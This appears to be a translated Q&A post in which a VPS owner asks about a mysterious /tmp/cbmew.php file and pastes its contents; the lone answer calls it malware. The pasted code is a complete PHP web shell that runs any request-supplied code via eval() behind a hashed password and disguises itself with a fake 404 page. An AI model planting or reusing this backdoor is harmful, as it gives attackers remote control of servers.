☰

神秘的 //tmp/cbmew.php

tag-icon • tag-icon vps
神秘的 //tmp/cbmew.php

我有一个 VPS，上面安装了一些 Web 应用程序。它们都是开源应用程序。最近我的 VPS 负载非常高，所以我查看了我的每日进程日志，有一件事引起了我的注意。

在此处输入图片描述

是的，神秘的//tmp/cbmew.php。我在 Google 上搜索了 cbmew.php，什么也没找到。这非常奇怪，因为我使用的是所有开源框架，所以我应该可以在网上找到它，不是吗？

知道这是什么文件吗？

以下是内容：

<?php
@set_time_limit(0);
@error_reporting(NULL);
@ini_set('display_errors',0);
@ignore_user_abort(TRUE);

if(md5(md5($_REQUEST['psbt']))=='5aa0c942ede6e22dc5a379d86f28037f' and $_REQUEST['mjdu']!=NULL)
{
    $_REQUEST['mjdu']=str_replace('\\"','"',$_REQUEST['mjdu']);
    $_REQUEST['mjdu']=str_replace("\\'","'",$_REQUEST['mjdu']);
    eval($_REQUEST['mjdu']);
    die();
    exit();
}
else
{
    echo '<!DOCTYPE HTML PUBLIC\"-//IETF//DTDHTML 2.0//EN\"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL '.$_SERVER['PHP_SELF'].' was not found on this server </p><p>Additionally, a 404 Not Found error was encountered while trying to use an Error Document to handle the request</p></body ></html >';die();exit();
}
?>

答案1

好的，之后一些谷歌搜索，我可以肯定这是一个恶意软件。

相关内容